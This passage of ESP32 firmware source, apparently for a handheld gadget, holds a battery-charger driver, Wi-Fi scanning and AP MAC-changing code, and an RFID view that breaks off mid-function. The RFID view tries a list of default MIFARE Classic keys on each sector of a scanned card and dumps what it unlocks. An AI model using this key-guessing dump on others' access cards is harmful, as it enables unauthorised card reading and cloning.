97 | } 98 | 99 | uint8_t value; 100 | bq25896_read_register(0x05, &value, 1); 101 | value &= 0x0F; 102 | value |= 103 | (((milliamps - BQ25896_PRECHARGE_CURR_MIN) / BQ25896_PRECHARGE_CURR_STEP) 104 | << 4); 105 | bq25896_write_register(0x05, &value, 1); 106 | } 107 | 108 | uint16_t bq25896_get_precharge_current(void) { 109 | uint8_t value; 110 | bq25896_read_register(0x05, &value, 1); 111 | uint16_t toreturn = (value & 0xF0) >> 4; 112 | return BQ25896_PRECHARGE_CURR_STEP + (toreturn * BQ25896_PRECHARGE_CURR_STEP); 113 | } 114 | 115 | void bq25896_set_charge_target_voltage(uint16_t millivolts) { 116 | // Check if cahrge target is multiple of 16 117 | if (millivolts % BQ25896_CHARGE_VOLT_STEP) { 118 | uint16_t remainder = millivolts % BQ25896_CHARGE_VOLT_STEP; 119 | millivolts = millivolts + BQ25896_CHARGE_VOLT_STEP - remainder; 120 | } 121 | if (millivolts > BQ25896_CHARGE_VOLT_MAX) { 122 | millivolts = BQ25896_CHARGE_VOLT_MAX; 123 | } else if (millivolts < BQ25896_CHARGE_VOLT_MIN) { 124 | millivolts = BQ25896_CHARGE_VOLT_MIN; 125 | } 126 | 127 | uint8_t value; 128 | bq25896_read_register(0x06, &value, 1); 129 | value &= 0x03; 130 | value |= (((millivolts - BQ25896_CHARGE_VOLT_MIN) / BQ25896_CHARGE_VOLT_STEP) 131 | << 2); 132 | bq25896_write_register(0x06, &value, 1); 133 | } 134 | 135 | uint16_t bq25896_get_charge_target_voltage(void) { 136 | uint8_t value; 137 | bq25896_read_register(0x06, &value, 1); 138 | uint16_t toreturn = (value & 0xFC) >> 2; 139 | if (toreturn > 0x30) { 140 | return BQ25896_CHARGE_VOLT_MAX; 141 | } 142 | return (toreturn * BQ25896_CHARGE_VOLT_STEP) + BQ25896_CHARGE_VOLT_MIN; 143 | } 144 | 145 | void bq25896_set_charger_constant_current(uint16_t milliamps) { 146 | if (milliamps % BQ25896_CHARGE_VOLT_STEP) { 147 | uint16_t remainder = milliamps % BQ25896_CHARGE_CONST_CURR_STEP; 148 | milliamps = milliamps + BQ25896_CHARGE_CONST_CURR_STEP - remainder; 149 | } 150 | if (milliamps > BQ25896_CHARGE_CONST_CURR_MAX) { 151 | milliamps = BQ25896_CHARGE_CONST_CURR_MAX; 152 | } 153 | 154 | uint8_t value; 155 | bq25896_read_register(0x04, &value, 1); 156 | value &= 0x80; 157 | value |= (milliamps / BQ25896_CHARGE_CONST_CURR_STEP); 158 | bq25896_write_register(0x04, &value, 1); 159 | } 160 | 161 | uint16_t bq25896_get_charger_constant_current(void) { 162 | uint8_t value; 163 | bq25896_read_register(0x04, &value, 1); 164 | uint16_t toreturn = (value & 0x7F) * BQ25896_CHARGE_CONST_CURR_STEP; 165 | return toreturn; 166 | } 167 | 168 | void bq25896_disable_current_limit_pin(void) { 169 | bq25896_clear_register_bit(0x00, 6); 170 | } 171 | 172 | void bq25896_enable_current_limit_pin(void) { 173 | bq25896_set_register_bit(0x00, 6); 174 | } 175 | 176 | bool bq25896_get_current_limit_pin_state(void) { 177 | return bq25896_get_register_bit(0x00, 6); 178 | } 179 | 180 | void bq25896_set_input_current_limit(uint16_t milliamps) { 181 | // Check if limit is multiple of 50 182 | if (milliamps % BQ25896_CURR_STEP) { 183 | uint16_t remainder = milliamps % BQ25896_CURR_STEP; 184 | milliamps = milliamps + BQ25896_CURR_STEP - remainder; 185 | } 186 | if (milliamps > BQ25896_CURR_MAX) { 187 | milliamps = BQ25896_CURR_MAX; 188 | } else if (milliamps < BQ25896_CURR_MIN) { 189 | milliamps = BQ25896_CURR_MIN; 190 | } 191 | 192 | uint8_t value; 193 | bq25896_read_register(0x00, &value, 1); 194 | value &= 0xC0; 195 | value |= ((milliamps - BQ25896_CURR_MIN) / BQ25896_CURR_STEP); 196 | bq25896_write_register(0x00, &value, 1); 197 | } 198 | 199 | uint16_t bq25896_get_input_current_limit(void) { 200 | uint8_t value; 201 | bq25896_read_register(0x00, &value, 1); 202 | uint16_t toreturn = value & 0x3F; 203 | return (toreturn * BQ25896_CURR_STEP) + BQ25896_CURR_MIN; 204 | } 205 | 206 | void bq25896_enable_adc(void) { 207 | uint8_t value; 208 | bq25896_read_register(0x02, &value, 1); 209 | value |= BIT(6); 210 | value |= BIT(7); 211 | bq25896_write_register(0x02, &value, 1); 212 | } 213 | 214 | void bq25896_disable_adc(void) { 215 | uint8_t value; 216 | bq25896_read_register(0x02, &value, 1); 217 | value &= (~BIT(7)); 218 | bq25896_write_register(0x02, &value, 1); 219 | } 220 | 221 | void bq25896_enable_charge(void) { bq25896_set_register_bit(0x03, 4); } 222 | 223 | void bq25896_disable_charge(void) { bq25896_clear_register_bit(0x03, 4); } 224 | 225 | bool bq25896_get_charge_state(void) { 226 | return bq25896_get_register_bit(0x03, 4); 227 | } 228 | 229 | void bq25896_enable_watchdog(bq25896_watchdog_timeout_t timeout) { 230 | uint8_t value; 231 | bq25896_read_register(0x07, &value, 1); 232 | value &= 0xCF; 233 | switch (timeout) { 234 | case TIMEOUT_40SEC: 235 | value |= 0x10; 236 | break; 237 | case TIMEOUT_80SEC: 238 | value |= 0x20; 239 | break; 240 | case TIMEOUT_160SEC: 241 | value |= 0x30; 242 | break; 243 | 244 | default: 245 | break; 246 | } 247 | bq25896_write_register(0x0, &value, 1); 248 | } 249 | 250 | void bq25896_disable_watchdog(void) { 251 | uint8_t value; 252 | bq25896_read_register(0x07, &value, 1); 253 | value &= 0xCF; 254 | bq25896_write_register(0x07, &value, 1); 255 | } 256 | 257 | void bq25896_set_power_off_voltage(uint16_t threshold_millivolts) { 258 | // Check if threshold is multiple of 100 259 | if (threshold_millivolts % BQ25896_VOLT_STEP) { 260 | uint16_t remainder = threshold_millivolts % BQ25896_VOLT_STEP; 261 | threshold_millivolts = threshold_millivolts + BQ25896_VOLT_STEP - remainder; 262 | } 263 | if (threshold_millivolts > BQ25896_VOLT_MAX) { 264 | threshold_millivolts = BQ25896_VOLT_MAX; 265 | } else if (threshold_millivolts < BQ25896_VOLT_MIN) { 266 | threshold_millivolts = BQ25896_VOLT_MIN; 267 | } 268 | 269 | uint8_t value; 270 | bq25896_read_register(0x03, &value, 1); 271 | value &= 0xF1; 272 | value |= (threshold_millivolts - BQ25896_VOLT_MIN) / BQ25896_VOLT_STEP; 273 | value <<= 1; 274 | bq25896_write_register(0x03, &value, 1); 275 | } 276 | 277 | uint16_t bq25896_get_power_off_voltage(void) { 278 | uint8_t value; 279 | bq25896_read_register(0x03, &value, 1); 280 | uint16_t toreturn = value & 0x0E; 281 | toreturn >>= 1; 282 | return (toreturn * BQ25896_VOLT_STEP) + BQ25896_VOLT_MIN; 283 | } 284 | 285 | uint8_t bq25896_get_devices_id() { 286 | uint8_t value; 287 | bq25896_read_register(0x14, &value, 1); 288 | return (value & 0x03); 289 | } 290 | 291 | bq25896_charge_status_t bq25896_get_charge_status() { 292 | uint8_t value; 293 | bq25896_read_register(0x0B, &value, 1); 294 | return (bq25896_charge_status_t)((value >> 3) & 0x03); 295 | } 296 | 297 | void bq25896_reset_registers() { 298 | bq25896_set_register_bit(0x14, 7); 299 | vTaskDelay(1000 / portTICK_PERIOD_MS); 300 | bq25896_clear_register_bit(0x14, 7); 301 | } -------------------------------------------------------------------------------- /components/wifi/wifi.c: -------------------------------------------------------------------------------- 1 | #include "wifi.h" 2 | 3 | #include "nvs_flash.h" 4 | 5 | #include "lwip/err.h" 6 | #include "lwip/sys.h" 7 | 8 | #include "freertos/event_groups.h" 9 | 10 | static const char *TAG = "WiFi"; 11 | static bool wifi_init = false; 12 | static uint8_t original_mac_ap[6]; 13 | 14 | static wifi_ap_records_t ap_records; 15 | 16 | static bool is_connected = false; 17 | static bool is_connecting = false; 18 | static bool scanning = false; 19 | 20 | static esp_netif_t *netif_sta; 21 | static esp_netif_t *netif_ap; 22 | 23 | static EventGroupHandle_t wifi_event_group; 24 | const int CONNECTED_BIT = BIT0; 25 | 26 | static void wifi_event_handler(void *arg, esp_event_base_t event_base, 27 | int32_t event_id, void *event_data) { 28 | 29 | if (event_base == WIFI_EVENT && event_id == WIFI_EVENT_SCAN_DONE) { 30 | if (scanning) // dont reparse if already done 31 | { 32 | ESP_ERROR_CHECK( 33 | esp_wifi_scan_get_ap_records(&ap_records.count, ap_records.records)); 34 | scanning = false; 35 | } 36 | } else if (event_base == WIFI_EVENT && 37 | event_id == WIFI_EVENT_STA_DISCONNECTED) { 38 | ESP_LOGI(TAG, "STA Disconnect"); 39 | esp_wifi_connect(); 40 | xEventGroupClearBits(wifi_event_group, CONNECTED_BIT); 41 | } else if (event_base == IP_EVENT && event_id == IP_EVENT_STA_GOT_IP) { 42 | ip_event_got_ip_t *event = (ip_event_got_ip_t *)event_data; 43 | ESP_LOGI(TAG, "got ip:" IPSTR, IP2STR(&event->ip_info.ip)); 44 | xEventGroupSetBits(wifi_event_group, CONNECTED_BIT); 45 | is_connected = true; 46 | is_connecting = false; 47 | } 48 | } 49 | 50 | void wifi_init_apsta() { 51 | if (wifi_init) { 52 | return; 53 | } 54 | 55 | esp_err_t ret = nvs_flash_init(); 56 | if (ret == ESP_ERR_NVS_NO_FREE_PAGES || 57 | ret == ESP_ERR_NVS_NEW_VERSION_FOUND) { 58 | ESP_ERROR_CHECK(nvs_flash_erase()); 59 | ESP_ERROR_CHECK(nvs_flash_init()); 60 | } 61 | 62 | ESP_ERROR_CHECK(esp_netif_init()); 63 | 64 | wifi_event_group = xEventGroupCreate(); 65 | esp_event_loop_create_default(); 66 | 67 | netif_ap = esp_netif_create_default_wifi_ap(); 68 | netif_sta = esp_netif_create_default_wifi_sta(); 69 | 70 | wifi_init_config_t wifi_init_config = WIFI_INIT_CONFIG_DEFAULT(); 71 | 72 | ESP_ERROR_CHECK(esp_wifi_init(&wifi_init_config)); 73 | ESP_ERROR_CHECK(esp_wifi_set_storage(WIFI_STORAGE_RAM)); 74 | ESP_ERROR_CHECK(esp_wifi_set_mode(WIFI_MODE_APSTA)); 75 | 76 | ESP_ERROR_CHECK(esp_event_handler_register( 77 | WIFI_EVENT, WIFI_EVENT_STA_DISCONNECTED, &wifi_event_handler, NULL)); 78 | ESP_ERROR_CHECK(esp_event_handler_register(WIFI_EVENT, WIFI_EVENT_SCAN_DONE, 79 | &wifi_event_handler, NULL)); 80 | ESP_ERROR_CHECK(esp_event_handler_register(IP_EVENT, IP_EVENT_STA_GOT_IP, 81 | &wifi_event_handler, NULL)); 82 | 83 | // save original AP MAC address 84 | ESP_ERROR_CHECK(esp_wifi_get_mac(WIFI_IF_AP, original_mac_ap)); 85 | ESP_ERROR_CHECK(esp_wifi_start()); 86 | wifi_init = true; 87 | } 88 | 89 | void wifi_ap_start(wifi_config_t *wifi_config) { 90 | ESP_LOGD(TAG, "Starting AP..."); 91 | if (!wifi_init) { 92 | wifi_init_apsta(); 93 | } 94 | ESP_ERROR_CHECK(esp_wifi_set_config(WIFI_IF_AP, wifi_config)); 95 | ESP_LOGI(TAG, "AP started with SSID=%s", wifi_config->ap.ssid); 96 | } 97 | 98 | void wifi_ap_stop() { 99 | ESP_LOGD(TAG, "Stopping AP..."); 100 | wifi_config_t wifi_config = { 101 | .ap = {.max_connection = 0}, 102 | }; 103 | ESP_ERROR_CHECK(esp_wifi_set_config(WIFI_IF_AP, &wifi_config)); 104 | ESP_LOGD(TAG, "AP stopped"); 105 | } 106 | 107 | int wifi_get_rssi(void) { 108 | int rssi = -100; 109 | if (wifi_is_connected() && !scanning) { 110 | esp_wifi_sta_get_rssi(&rssi); 111 | } 112 | return rssi; 113 | } 114 | 115 | bool wifi_is_connected(void) { return is_connected; } 116 | 117 | bool wifi_is_connecting(void) { return is_connecting; } 118 | 119 | const char *wifi_get_cipher_string(wifi_cipher_type_t cipher_type) { 120 | switch (cipher_type) { 121 | case WIFI_CIPHER_TYPE_NONE: 122 | return "NONE"; 123 | break; 124 | 125 | case WIFI_CIPHER_TYPE_WEP40: 126 | return "WEP 40"; 127 | break; 128 | 129 | case WIFI_CIPHER_TYPE_WEP104: 130 | return "WEP 104"; 131 | break; 132 | 133 | case WIFI_CIPHER_TYPE_TKIP: 134 | return "TKIP"; 135 | break; 136 | 137 | case WIFI_CIPHER_TYPE_CCMP: 138 | return "CCMP"; 139 | break; 140 | 141 | case WIFI_CIPHER_TYPE_TKIP_CCMP: 142 | return "TKIP CCMP"; 143 | break; 144 | 145 | case WIFI_CIPHER_TYPE_AES_CMAC128: 146 | return "AES-CMAC-128"; 147 | break; 148 | 149 | case WIFI_CIPHER_TYPE_SMS4: 150 | return "SMS4"; 151 | break; 152 | 153 | case WIFI_CIPHER_TYPE_GCMP: 154 | return "GCMP"; 155 | break; 156 | 157 | case WIFI_CIPHER_TYPE_GCMP256: 158 | return "GCMP-256"; 159 | break; 160 | 161 | case WIFI_CIPHER_TYPE_AES_GMAC128: 162 | return "AES-GMAC-128"; 163 | break; 164 | 165 | case WIFI_CIPHER_TYPE_AES_GMAC256: 166 | return "AES-GMAC-256"; 167 | break; 168 | 169 | default: 170 | return "UNKNOW"; 171 | break; 172 | } 173 | } 174 | 175 | const char *wifi_get_auth_string(wifi_auth_mode_t authmode) { 176 | switch (authmode) { 177 | case WIFI_AUTH_OPEN: 178 | return "OPEN"; 179 | break; 180 | 181 | case WIFI_AUTH_WEP: 182 | return "WEP"; 183 | break; 184 | 185 | case WIFI_AUTH_WPA_PSK: 186 | return "WPA PSK"; 187 | break; 188 | 189 | case WIFI_AUTH_WPA2_PSK: 190 | return "WPA2 PSK"; 191 | break; 192 | 193 | case WIFI_AUTH_WPA_WPA2_PSK: 194 | return "WPA WPA2 PSK"; 195 | break; 196 | case WIFI_AUTH_ENTERPRISE: 197 | return "EAP"; 198 | break; 199 | 200 | case WIFI_AUTH_WPA3_PSK: 201 | return "WPA3 PSK"; 202 | break; 203 | 204 | case WIFI_AUTH_WPA2_WPA3_PSK: 205 | return "WPA2 WPA3 PSK"; 206 | break; 207 | 208 | case WIFI_AUTH_WAPI_PSK: 209 | return "WAPI PSK"; 210 | break; 211 | 212 | case WIFI_AUTH_OWE: 213 | return "OWE"; 214 | break; 215 | 216 | case WIFI_AUTH_WPA3_ENT_192: 217 | return "WPA3 ENT 192"; 218 | break; 219 | 220 | case WIFI_AUTH_WPA3_EXT_PSK: 221 | return "WPA3 EXT PSK"; 222 | break; 223 | 224 | case WIFI_AUTH_WPA3_EXT_PSK_MIXED_MODE: 225 | return "WPA3 EXT PSK MIXED MODE"; 226 | break; 227 | 228 | case WIFI_AUTH_DPP: 229 | return "DPP"; 230 | break; 231 | 232 | default: 233 | return "UNKNOW"; 234 | break; 235 | } 236 | } 237 | 238 | esp_err_t wifi_connect(const char *_ssid, const char *_pass, 239 | const char *hostname) { 240 | ESP_LOGD(TAG, "Connecting STA to AP..."); 241 | if (!wifi_init) { 242 | wifi_init_apsta(); 243 | } 244 | esp_netif_set_hostname(netif_sta, hostname); 245 | wifi_config_t wifi_config; 246 | memset(&wifi_config, 0, sizeof(wifi_config_t)); 247 | strcpy((char *)wifi_config.sta.ssid, (char *)_ssid); 248 | strcpy((char *)wifi_config.sta.password, (char *)_pass); 249 | 250 | ESP_ERROR_CHECK(esp_wifi_set_config(WIFI_IF_STA, &wifi_config)); 251 | ESP_ERROR_CHECK(esp_wifi_connect()); 252 | is_connecting = true; 253 | int bits = xEventGroupWaitBits(wifi_event_group, CONNECTED_BIT, pdFALSE, 254 | pdTRUE, 100000 / portTICK_PERIOD_MS); 255 | ESP_LOGI(TAG, "bits=%x", bits); 256 | if (bits) { 257 | ESP_LOGI(TAG, "WIFI_MODE_STA connected."); 258 | } else { 259 | ESP_LOGI(TAG, "WIFI_MODE_STA can't connected."); 260 | } 261 | return (bits & CONNECTED_BIT) != 0; 262 | } 263 | 264 | void wifi_launch_scan(void) { 265 | if (!wifi_init) { 266 | wifi_init_apsta(); 267 | } 268 | ap_records.count = MAX_SCAN_SIZE; 269 | wifi_scan_config_t scan_config; 270 | memset(&scan_config, 0, sizeof(wifi_scan_config_t)); 271 | scan_config.show_hidden = true; 272 | scan_config.scan_type = WIFI_SCAN_TYPE_ACTIVE; 273 | esp_wifi_scan_start(&scan_config, false); 274 | scanning = true; 275 | } 276 | 277 | const wifi_ap_records_t *wifi_get_all_ap_records(void) { 278 | if (scanning) { // Someone get the event before we parse the ap_records, parse 279 | // them 280 | ESP_ERROR_CHECK( 281 | esp_wifi_scan_get_ap_records(&ap_records.count, ap_records.records)); 282 | scanning = false; 283 | } 284 | return &ap_records; 285 | } 286 | 287 | const wifi_ap_record_t *wifi_get_one_ap_record(uint8_t record_index) { 288 | if (record_index > ap_records.count) { 289 | ESP_LOGE(TAG, "Index out of bounds! %u records available, but %u requested", 290 | ap_records.count, record_index); 291 | return NULL; 292 | } 293 | return &ap_records.records[record_index]; 294 | } 295 | 296 | void wifi_get_bssid_string_from_record(uint8_t record_index, char *buffer) { 297 | sprintf(buffer, "%02x:%02x:%02x:%02x:%02x:%02x", 298 | wifi_get_one_ap_record(record_index)->bssid[0], 299 | wifi_get_one_ap_record(record_index)->bssid[1], 300 | wifi_get_one_ap_record(record_index)->bssid[2], 301 | wifi_get_one_ap_record(record_index)->bssid[3], 302 | wifi_get_one_ap_record(record_index)->bssid[4], 303 | wifi_get_one_ap_record(record_index)->bssid[5]); 304 | } 305 | 306 | void wifi_get_phy_from_record(uint8_t record_index, char *buffer) { 307 | size_t nb_char = 0; 308 | const wifi_ap_record_t *ap_record = wifi_get_one_ap_record(record_index); 309 | if (ap_record->phy_11b) { 310 | buffer[nb_char] = 'b'; 311 | nb_char++; 312 | } 313 | if (ap_record->phy_11g) { 314 | buffer[nb_char] = 'g'; 315 | nb_char++; 316 | } 317 | if (ap_record->phy_11n) { 318 | buffer[nb_char] = 'n'; 319 | nb_char++; 320 | } 321 | if (ap_record->phy_lr) { 322 | buffer[nb_char] = 'l'; 323 | nb_char++; 324 | buffer[nb_char] = 'r'; 325 | nb_char++; 326 | } 327 | if (ap_record->phy_11a) { 328 | buffer[nb_char] = 'a'; 329 | nb_char++; 330 | } 331 | if (ap_record->phy_11ac) { 332 | buffer[nb_char] = 'a'; 333 | nb_char++; 334 | buffer[nb_char] = 'c'; 335 | nb_char++; 336 | } 337 | if (ap_record->phy_11ax) { 338 | buffer[nb_char] = 'a'; 339 | nb_char++; 340 | buffer[nb_char] = 'x'; 341 | nb_char++; 342 | } 343 | buffer[nb_char] = '\0'; 344 | return; 345 | } 346 | 347 | void wifi_sta_disconnect(void) { ESP_ERROR_CHECK(esp_wifi_disconnect()); } 348 | 349 | void wifi_set_ap_mac(const uint8_t *mac_ap) { 350 | ESP_LOGD(TAG, "Changing AP MAC address..."); 351 | ESP_ERROR_CHECK(esp_wifi_set_mac(WIFI_IF_AP, mac_ap)); 352 | } 353 | 354 | void wifi_get_ap_mac(uint8_t *mac_ap) { esp_wifi_get_mac(WIFI_IF_AP, mac_ap); } 355 | 356 | void wifi_restore_ap_mac(void) { 357 | ESP_LOGD(TAG, "Restoring original AP MAC address..."); 358 | ESP_ERROR_CHECK(esp_wifi_set_mac(WIFI_IF_AP, original_mac_ap)); 359 | } 360 | 361 | void wifi_get_sta_mac(uint8_t *mac_sta) { 362 | esp_wifi_get_mac(WIFI_IF_STA, mac_sta); 363 | } 364 | 365 | void wifi_set_channel(uint8_t channel) { 366 | if ((channel == 0) || (channel > 14)) { 367 | ESP_LOGE(TAG, "Channel out of range. Expected value from <1,13> but got %u", 368 | channel); 369 | return; 370 | } 371 | esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE); 372 | } -------------------------------------------------------------------------------- /components/gui/views/rfid_menu_view.c: -------------------------------------------------------------------------------- 1 | #include "rfid_menu_view.h" 2 | #include "pn532.h" 3 | 4 | static view_handler_t *calling_view; 5 | 6 | static lv_obj_t *rfid_menu_view; 7 | static view_handler_t rfid_menu_view_handler; 8 | static lv_obj_t *spinner; 9 | static lv_obj_t *tag_info_lbl; 10 | static lv_obj_t *dump_lbl; 11 | 12 | typedef enum { 13 | RFID_MENU_READ, 14 | 15 | RFID_MENU_SIZE 16 | } rfid_menu_items_t; 17 | 18 | static const char *rfid_menu_texts[RFID_MENU_SIZE] = {"READ"}; 19 | 20 | static rfid_menu_items_t current_menu_item; 21 | 22 | typedef enum { 23 | RFID_NOT_IN_VIEW, 24 | RFID_VIEW_MAIN, 25 | RFID_VIEW_READ, 26 | RFID_VIEW_TAG, 27 | RFID_VIEW_DUMP, 28 | 29 | RFID_VIEWS_SIZE 30 | } rfid_menu_views_t; 31 | 32 | #define NB_KEYS 4 33 | static const uint8_t mfc_keys_list[NB_KEYS][MFC_KEY_SIZE] = { 34 | {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}, 35 | {0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5}, 36 | {0xd3, 0xf7, 0xd3, 0xf7, 0xd3, 0xf7}, 37 | {0x00, 0x00, 0x00, 0x00, 0x00, 0x00}}; 38 | 39 | static rfid_menu_views_t current_view = RFID_NOT_IN_VIEW; 40 | ; 41 | 42 | char dump_string[5000] = ""; 43 | char block_string[65] = ""; 44 | 45 | static void rfid_menu_draw_read_view(void); 46 | static void rfid_menu_draw_tag_view(const pn532_record_t *record); 47 | static void rfid_menu_draw_dump_view(const pn532_record_t *record); 48 | static void rfid_menu_view_draw(view_handler_t *_calling_view); 49 | 50 | static void rfid_menu_input_handler(user_actions_t user_action) { 51 | if (current_view == RFID_NOT_IN_VIEW) { 52 | return; 53 | } 54 | if (user_action == KEY_CLICK_SHORT) { 55 | if (current_view == RFID_VIEW_MAIN) { 56 | calling_view->draw_view(get_current_view_handler()); 57 | } else { 58 | if (current_view == RFID_VIEW_READ) { 59 | pn532_cancel_read_task(); 60 | } 61 | rfid_menu_view_draw(calling_view); 62 | } 63 | } else if (user_action == WHEEL_CLICK_SHORT) { 64 | if (current_view == RFID_VIEW_MAIN) { 65 | rfid_menu_draw_read_view(); 66 | } else if (current_view == RFID_VIEW_TAG) { 67 | rfid_menu_draw_dump_view(pn532_get_last_record()); 68 | } 69 | } else if (user_action == WHEEL_UP) { 70 | if (current_view == RFID_VIEW_DUMP) { 71 | if (lv_obj_get_height(lv_obj_get_child(rfid_menu_view, 0)) > 72 | (lv_obj_get_scroll_y(rfid_menu_view) + MAIN_SCREEN_HEIGHT)) { 73 | lvgl_port_lock(0); 74 | lv_obj_scroll_by(rfid_menu_view, 0, -10, LV_ANIM_ON); 75 | lvgl_port_unlock(); 76 | } 77 | } 78 | } else if (user_action == WHEEL_DOWN) { 79 | if (current_view == RFID_VIEW_DUMP) { 80 | if (lv_obj_get_scroll_y(rfid_menu_view) > 0) { 81 | lvgl_port_lock(0); 82 | lv_obj_scroll_by(rfid_menu_view, 0, 10, LV_ANIM_ON); 83 | lvgl_port_unlock(); 84 | } 85 | } 86 | } 87 | } 88 | 89 | static void rfid_menu_draw_dump_view(const pn532_record_t *record) { 90 | if (current_view != RFID_VIEW_TAG) { 91 | return; 92 | } 93 | current_view = RFID_VIEW_DUMP; 94 | lvgl_port_lock(0); 95 | lv_obj_clean(rfid_menu_view); 96 | rfid_menu_view = lv_obj_create(lv_screen_active()); 97 | lv_obj_set_size(rfid_menu_view, MAIN_SCREEN_WIDTH, MAIN_SCREEN_HEIGHT); 98 | lv_obj_align(rfid_menu_view, LV_ALIGN_TOP_LEFT, 0, 20); 99 | lv_obj_set_scrollbar_mode(rfid_menu_view, LV_SCROLLBAR_MODE_AUTO); 100 | lv_obj_add_style(rfid_menu_view, style_get_background_main(), LV_PART_MAIN); 101 | lv_obj_add_style(rfid_menu_view, style_get_background_danger(), 102 | LV_PART_SCROLLBAR); 103 | 104 | uint8_t pn532_dump[MIFARE1K_SECTORS][MFC_BLOCK_BY_SECTOR][MFC_BLOCK_SIZE]; 105 | size_t current_block = 0; 106 | for (size_t sectors = 0; sectors < MIFARE1K_SECTORS; sectors++) { 107 | int8_t keyA = -1; 108 | int8_t keyB = -1; 109 | // Try to authenticate with common keys 110 | for (size_t key = 0; key < NB_KEYS; key++) { 111 | // Try autheticate keyA 112 | if (keyA == -1) { 113 | if (pn532_mfc_authenticate_block(record->uid, record->uid_length, 114 | current_block, 0, 115 | mfc_keys_list[key]) == ESP_OK) { 116 | keyA = key; 117 | } 118 | } 119 | // Try autheticate with keyB if keyA not found 120 | if (keyA == -1 && keyB == -1) { 121 | if (pn532_mfc_authenticate_block(record->uid, record->uid_length, 122 | current_block, 1, 123 | mfc_keys_list[key]) == ESP_OK) { 124 | // printf("%d: KeyB Authenticated:%d\n", current_block, key); 125 | keyB = key; 126 | } 127 | } 128 | } 129 | // Sector not authenticated go next don't try to read blocks 130 | if (keyA == -1 && keyB == -1) { 131 | continue; 132 | } else { 133 | char sector_str[35] = ""; 134 | sprintf(sector_str, "---------- Sector %02d -----------\n", sectors); 135 | strcat(dump_string, sector_str); 136 | for (size_t block = 0; block < MFC_BLOCK_BY_SECTOR; block++) { 137 | if (pn532_mfc_read_data_block(current_block, 138 | pn532_dump[sectors][block]) == ESP_OK) { 139 | // trailer block need to override keyA since it's not readable 140 | if (block == 3 && keyA != -1) { 141 | for (size_t key_idx = 0; key_idx < MFC_KEY_SIZE; key_idx++) { 142 | pn532_dump[sectors][block][key_idx] = 143 | mfc_keys_list[keyA][key_idx]; 144 | } 145 | } 146 | sprintf( 147 | block_string, 148 | "%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x" 149 | "%02x", 150 | pn532_dump[sectors][block][0], pn532_dump[sectors][block][1], 151 | pn532_dump[sectors][block][2], pn532_dump[sectors][block][3], 152 | pn532_dump[sectors][block][4], pn532_dump[sectors][block][5], 153 | pn532_dump[sectors][block][6], pn532_dump[sectors][block][7], 154 | pn532_dump[sectors][block][8], pn532_dump[sectors][block][9], 155 | pn532_dump[sectors][block][10], pn532_dump[sectors][block][11], 156 | pn532_dump[sectors][block][12], pn532_dump[sectors][block][13], 157 | pn532_dump[sectors][block][14], pn532_dump[sectors][block][15]); 158 | strncat(dump_string, block_string, 32); 159 | } 160 | current_block++; 161 | strncat(dump_string, "\n ", 1); 162 | } 163 | } 164 | strncat(dump_string, "\n ", 1); 165 | } 166 | strncat(dump_string, "\0 ", 1); 167 | dump_lbl = lv_label_create(rfid_menu_view); 168 | lv_obj_align(dump_lbl, LV_ALIGN_TOP_MID, 0, 0); 169 | lv_label_set_text_fmt(dump_lbl, "%s", dump_string); 170 | lvgl_port_unlock(); 171 | } 172 | 173 | static void rfid_menu_draw_tag_view(const pn532_record_t *record) { 174 | if (current_view != RFID_VIEW_READ) { 175 | return; 176 | } 177 | current_view = RFID_VIEW_TAG; 178 | lvgl_port_lock(0); 179 | rfid_menu_view = lv_obj_create(lv_screen_active()); 180 | lv_obj_set_size(rfid_menu_view, MAIN_SCREEN_WIDTH, MAIN_SCREEN_HEIGHT); 181 | lv_obj_align(rfid_menu_view, LV_ALIGN_TOP_LEFT, 0, 20); 182 | lv_obj_add_style(rfid_menu_view, style_get_background_main(), LV_PART_MAIN); 183 | 184 | tag_info_lbl = lv_label_create(rfid_menu_view); 185 | lv_obj_align(tag_info_lbl, LV_ALIGN_TOP_LEFT, 5, 5); 186 | char uid_buffer[PN532_UID_MAX_SIZE * 2] = ""; 187 | pn532_get_last_uid_string(uid_buffer); 188 | char type_buffer[20] = ""; 189 | pn532_get_last_type_string(type_buffer); 190 | lv_label_set_text_fmt( 191 | tag_info_lbl, "UID:\t%s\nATQA:\t%04x\nSAK:\t%02x\nType:\t%s", 192 | strupr(uid_buffer), record->ATQA, record->SAK, type_buffer); 193 | 194 | if (pn532_get_last_type() == TYPE_MIFARE_1K) { 195 | lv_obj_t *short_click_lbl = lv_label_create(rfid_menu_view); 196 | lv_obj_add_style(short_click_lbl, style_get_font_danger(), LV_PART_MAIN); 197 | lv_obj_align(short_click_lbl, LV_ALIGN_CENTER, 0, 60); 198 | lv_label_set_text(short_click_lbl, "Click wheel to try to read dump"); 199 | } 200 | 201 | lvgl_port_unlock(); 202 | } 203 | 204 | static void rfid_menu_draw_read_view() { 205 | current_view = RFID_VIEW_READ; 206 | lvgl_port_lock(0); 207 | rfid_menu_view = lv_obj_create(lv_screen_active()); 208 | lv_obj_set_size(rfid_menu_view, MAIN_SCREEN_WIDTH, MAIN_SCREEN_HEIGHT); 209 | lv_obj_align(rfid_menu_view, LV_ALIGN_TOP_LEFT, 0, 20); 210 | lv_obj_add_style(rfid_menu_view, style_get_background_main(), LV_PART_MAIN); 211 | 212 | spinner = lv_spinner_create(rfid_menu_view); 213 | lv_obj_set_size(spinner, 50, 50); 214 | lv_obj_center(spinner); 215 | lv_obj_set_style_arc_color(spinner, lv_color_hex(TEXT_COLOR), 0); 216 | lv_obj_set_style_arc_color(spinner, lv_color_hex(DANGER_COLOR), 217 | LV_PART_INDICATOR); 218 | lv_spinner_set_anim_params(spinner, 500, 200); 219 | 220 | lv_obj_t *read_label = lv_label_create(rfid_menu_view); 221 | lv_obj_align(read_label, LV_ALIGN_CENTER, 0, -60); 222 | lv_label_set_text(read_label, "Waiting for a tag"); 223 | lvgl_port_unlock(); 224 | pn532_background_read_passive_targetID(PN532_MIFARE_ISO14443A, 0, 225 | &rfid_menu_draw_tag_view); 226 | } 227 | 228 | static void rfid_menu_view_clear() { 229 | current_view = RFID_NOT_IN_VIEW; 230 | lvgl_port_lock(0); 231 | lv_obj_clean(rfid_menu_view); 232 | lvgl_port_unlock(); 233 | } 234 | 235 | static void rfid_menu_view_draw(view_handler_t *_calling_view) { 236 | 237 | calling_view = _calling_view; 238 | 239 | if (calling_view != 